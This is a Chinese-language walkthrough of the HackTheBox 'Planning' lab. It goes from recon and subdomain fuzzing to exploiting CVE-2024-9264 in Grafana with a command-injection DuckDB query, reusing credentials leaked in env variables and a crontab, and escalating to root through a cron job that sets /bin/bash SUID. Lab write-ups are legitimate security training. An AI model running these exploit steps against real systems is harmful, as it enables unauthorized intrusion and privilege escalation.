<h1>Machine - Planning</h1>
<blockquote>
<a href="https://app.hackthebox.com/machines/Planning">https://app.hackthebox.com/machines/Planning</a> | <code>Esay</code>
</blockquote>
<h2>前期踩点</h2>
<pre><code class="hljs language-bash">➜ Planning nmap -sT -min-rate 10000 -p- 10.10.11.68
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-11 00:56 EDT
Nmap scan report for planning.htb (10.10.11.68)
Host is up (0.19s latency).
Not shown: 65269 filtered tcp ports (no-response), 264 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 50.82 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ Planning nmap -sU -min-rate 5000 -p- 10.10.11.68 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-11 01:01 EDT
Warning: 10.10.11.68 giving up on port because retransmission cap hit (10).
Nmap scan report for planning.htb (10.10.11.68)
Host is up (4.5s latency).
All 65535 scanned ports on planning.htb (10.10.11.68) are in ignored states.
Not shown: 65443 open|filtered udp ports (no-response), 92 closed udp ports (port-unreach)

Nmap done: 1 IP address (1 host up) scanned in 176.18 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ Planning nmap -sT -A -T4 -O -p 22,80 10.10.11.68
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-11 00:59 EDT
Nmap scan report for planning.htb (10.10.11.68)
Host is up (0.21s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_ 256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Edukate - Online Education Website
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 221.80 ms 10.10.16.1
2 161.43 ms planning.htb (10.10.11.68)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.81 seconds
</code></pre>
收集到一个邮箱 <code>info@planning.htb</code>
<pre><code class="hljs language-bash">➜ Planning whatweb planning.htb
http://planning.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[info@planning.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.24.0 (Ubuntu)], IP[10.10.11.68], JQuery[3.4.1], Script, Title[Edukate - Online Education Website], nginx[1.24.0]
</code></pre>
<h2>Web 渗透</h2>
<h3>信息收集</h3>
访问 <code>HTTP</code> 服务，采集指纹
<img src="/post-images/HackTheBoxMachine%20-%20Planning/image.png" alt="image.png">
可能有用的三个用户名 <code>Bob Moss</code> <code>Rose Mary</code> <code>Stella Haks</code>
<img src="/post-images/HackTheBoxMachine%20-%20Planning/image1.png" alt="image.png">
<code>Detail.php</code> 页面可以注册，但是貌似没什么用
<img src="/post-images/HackTheBoxMachine%20-%20Planning/image2.png" alt="image.png">
目录扫描
<pre><code class="hljs language-bash">➜ Planning dirsearch -u http://planning.htb -x 404,429 -e php,zip,txt 
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
 from pkg_resources import DistributionNotFound, VersionConflict

 _|. _ _ _ _ _ _|_ v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, zip, txt | HTTP method: GET | Threads: 25 | Wordlist size: 10439

Output File: /root/Desktop/test/Planning/reports/http_planning.htb/_25-05-11_01-14-34.txt

Target: http://planning.htb/

[01:14:34] Starting: 
[01:14:51] 200 - 12KB - /about.php
[01:15:12] 200 - 10KB - /contact.php
[01:15:13] 301 - 178B - /css -> http://planning.htb/css/
[01:15:24] 301 - 178B - /img -> http://planning.htb/img/
[01:15:27] 301 - 178B - /js -> http://planning.htb/js/
[01:15:27] 403 - 564B - /js/
[01:15:29] 301 - 178B - /lib -> http://planning.htb/lib/
[01:15:29] 403 - 564B - /lib/
</code></pre>
爆破一下子域名
<pre><code class="hljs language-bash">➜ Planning wfuzz -c -w ../../Dict/SecLists-2024.3/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://planning.htb -H 'Host:FUZZ.planning.htb' 
******************************************************** 
* Wfuzz 3.1.0 - The Web Fuzzer * 
******************************************************** 
 
Target: http://planning.htb/ 
Total requests: 100000 
 
===================================================================== 
ID Response Lines Word Chars Payload 
===================================================================== 
000024093: 302 2 L 2 W 29 Ch "grafana" 
</code></pre>
能找到叫 <code>grafana</code> 的子域名，添加到 <code>hosts</code> 文件
访问一下，版本是 <code>Grafana v11.0.0 (83b9528bce)</code>
<img src="/post-images/HackTheBoxMachine%20-%20Planning/image3.png" alt="image.png">
<h3>Grafana</h3>
<blockquote>
Grafana 是一个开源的度量分析和可视化工具，支持多种数据源如 Graphite、InfluxDB 等。安装完成后，Grafana 的默认用户名和密码都是admin
</blockquote>
尝试下默认密码，是失败的
找一下版本相关漏洞
<ol>
<li><a href="https://github.com/nollium/CVE-2024-9264">https://github.com/nollium/CVE-2024-9264</a> 可以进行 LFI 和 RCE ，但是要验证后</li>
<li><a href="https://grafana.com/blog/2024/08/14/grafana-security-release-medium-severity-security-fix-for-cve-2024-6837/">https://grafana.com/blog/2024/08/14/grafana-security-release-medium-severity-security-fix-for-cve-2024-6837/</a> XSS 漏洞</li>
</ol>
然后发现：
<img src="/post-images/HackTheBoxMachine%20-%20Planning/image4.png" alt="image.png">
<pre><code class="hljs language-bash">As is common in real life pentests, you will start the Planning box with credentials for the following account: admin / 0D5oT70Fq13EvB5r
</code></pre>
得到密码 <code>admin</code>/<code>0D5oT70Fq13EvB5r</code>
尝试利用 <code>CVE-2024-9264</code>
<pre><code class="hljs language-bash">(Planning) ➜ CVE-2024-9264 git:(main) ✗ python CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -f /etc/passwd http://grafana.planning.htb
</code></pre>
成功利用
<img src="/post-images/HackTheBoxMachine%20-%20Planning/image5.png" alt="image.png">
<pre><code class="hljs language-bash">(Planning) ➜ CVE-2024-9264 git:(main) ✗ python CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c whoami http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: whoami
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('whoami >/tmp/grafana_cmd_output 2>&#x26;1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
root
</code></pre>
我们在 Docker 环境中
<img src="/post-images/HackTheBoxMachine%20-%20Planning/image6.png" alt="image.png">
进行反弹 <code>shell</code>
<img src="/post-images/HackTheBoxMachine%20-%20Planning/image7.png" alt="image.png">
<h2>Docker 逃逸</h2>
反弹 <code>shell</code> 后对 <code>shell</code> 进行优化 ：<a href="https://sunsetaction.top/2025/04/21/%E5%8F%8D%E5%BC%B9%20shell%20%E5%8D%87%E7%BA%A7/">https://sunsetaction.top/2025/04/21/%E5%8F%8D%E5%BC%B9%20shell%20%E5%8D%87%E7%BA%A7/</a>
在 <code>env</code> 命令输出中，能找到
<pre><code class="hljs language-bash">root@7ce659d667d7:~# env 
... 
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo
...
</code></pre>
尝试用改凭据进行 SSH 登录
<pre><code class="hljs language-bash">➜ Planning ssh enzo@planning.htb 
enzo@planning.htb's password: 
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-59-generic x86_64)

 * Documentation: https://help.ubuntu.com
 * Management: https://landscape.canonical.com
 * Support: https://ubuntu.com/pro

 System information as of Sun May 11 06:26:45 AM UTC 2025

 System load: 0.13
 Usage of /: 77.6% of 6.30GB
 Memory usage: 43%
 Swap usage: 16%
 Processes: 294
 Users logged in: 1
 IPv4 address for eth0: 10.10.11.68
 IPv6 address for eth0: dead:beef::250:56ff:feb9:4d58

 => There are 43 zombie processes.

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sun May 11 06:27:42 2025 from 10.10.16.12
enzo@planning:~$ 
</code></pre>
成功进入…
<h2>提权 - To Root</h2>
<h3>信息收集</h3>
在当前目录下可以找到 <code>user.txt</code>
<pre><code class="hljs language-bash">enzo@planning:~$ cat user.txt 
97cbc3d1ee1c848ab5255a90dc366206
</code></pre>
上传 <code>Linpeas</code> 收集信息
<pre><code class="hljs language-bash">╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid
-rwsr-xr-x 1 root root 19K Dec 2 11:59 /usr/lib/polkit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 335K Apr 22 11:51 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 35K Aug 9 2024 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 39K Dec 5 02:26 /usr/bin/umount ---> BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 51K Dec 5 02:26 /usr/bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 272K Apr 8 2024 /usr/bin/sudo ---> check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 63K May 30 2024 /usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 44K May 30 2024 /usr/bin/chsh
-rwsr-xr-x 1 root root 40K May 30 2024 /usr/bin/newgrp ---> HP-UX_10.20
-rwsr-xr-x 1 root root 72K May 30 2024 /usr/bin/chfn ---> SuSE_9.3/10
-rwsr-xr-x 1 root root 39K Apr 8 2024 /usr/bin/fusermount3
-rwsr-xr-x 1 root root 55K Dec 5 02:26 /usr/bin/su
-rwsr-xr-x 1 root root 75K May 30 2024 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 1.4M May 11 04:23 /tmp/bash
</code></pre>
<pre><code class="hljs language-bash">╔══════════╣ Active Ports
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:37777 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.54:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
</code></pre>
注意到很多只有本机开放的端口，3000 是 Grafana，<code>8000</code> 不清楚
将 <code>8000</code>端口转发出去
<pre><code class="hljs language-bash">enzo@planning:/tmp$ ./socat TCP-LISTEN:8001,fork tcp4:127.0.0.1:8000 &#x26;
[1] 2124
</code></pre>
需要账号密码，<code>enzo</code>的凭据不正确
<img src="/post-images/HackTheBoxMachine%20-%20Planning/image8.png" alt="image.png">
回到 enzo 中再寻找一下信息
在 <code>/opt/crontabs</code> 找到 <code>crontab.db</code>
<pre><code class="hljs language-bash">enzo@planning:/opt/crontabs$ cat crontab.db 
{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar &#x26;&#x26; /usr/bin/gzip /var/backups/grafana.tar &#x26;&#x26; zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz &#x26;&#x26; rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}
</code></pre>
这些是计划任务
<pre><code class="hljs language-bash"># Grafana Docker 镜像备份，每天 00:00 执行
0 0 * * * root /usr/bin/docker save root_grafana -o /var/backups/grafana.tar \
 &#x26;&#x26; /usr/bin/gzip /var/backups/grafana.tar \
 &#x26;&#x26; zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz \
 &#x26;&#x26; rm /var/backups/grafana.tar.gz
</code></pre>
<pre><code class="hljs language-bash"># 每分钟运行一次清理脚本
* * * * * root /root/scripts/cleanup.sh
</code></pre>
其中 <code>Grafana Docker</code> 计划任务中能得到一个密码 <code>P4ssw0rdS0pRi0T3c</code>
我们到 <code>Web</code> 上尝试使用该密码进行登录，最后使用 <code>root:P4ssw0rdS0pRi0T3c</code> 成功进入后台
<h3>Crontab 提权</h3>
后台是 <code>Crontab UI</code>
<img src="/post-images/HackTheBoxMachine%20-%20Planning/image9.png" alt="image.png">
我们看到上面的计划任务是以 <code>root</code> 执行的，然后我们可以在这里新建计划任务（这里方法很多了，随便 root）
直接进行反弹 <code>shell</code> （失败）
给 <code>/bin/bash</code> 设置 <code>sid</code>
<img src="/post-images/HackTheBoxMachine%20-%20Planning/image10.png" alt="image.png">
获取 Root
<pre><code class="hljs language-bash">enzo@planning:/opt/crontabs$ ls -al /bin/bash
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
enzo@planning:/opt/crontabs$ /bin/bash -p
bash-5.2# id
uid=1000(enzo) gid=1000(enzo) euid=0(root) groups=1000(enzo)
bash-5.2# cd /root
bash-5.2# ls
root.txt scripts
bash-5.2# cat root.txt 
4f1ad996a454ef10623bfb578c0134ba
</code></pre>
<h2>总结</h2>
打的糊里糊涂的，并不算难。但是凭据放在 Machine Information 里面我是真想不到…
每个点都感觉没有串联起来，割裂感严重。

HackTheBox - Machine - Planning

HackTheBox - Machine - Developer

HackTheBox - Machine - TwoMillion